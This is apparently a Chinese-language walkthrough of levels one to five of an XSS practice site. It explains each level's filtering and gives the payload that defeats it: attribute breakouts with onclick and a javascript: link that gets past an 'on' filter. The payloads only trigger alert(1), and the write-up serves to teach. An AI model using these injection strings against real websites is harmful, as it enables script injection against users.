fa
练习网站:http://xss.tesla-space.com/
第一关:
发现url中的name参数传递的内容会输出在网页

发现没有过滤<>
直接输入Payload:<img/src=x onerror=alert(1)></img>

da
第二关:
发现输入参数输出在input标签中的value属性中

使用双引号闭合 构造payload
payload: " onclick=alert(1)//

第三关:
发现上面的字段输出在两处

看看过滤了哪些关键字:

右键查看html源代码
发现value实际上是使用单引号的 这时可以构造单引号闭合

payload: ' onclick=alert(1)//

第四关
发现双引号未实体编码

输入payload:" onclick=alert(1)//

第五关
发现依旧是"未转义

但是发现on被转义为o_n
这就意味着原本的javascript事件将无法使用

使用JavaScript伪协议可以绕过
payload: 123"><a href=javascript:alert(1);>123</a>

: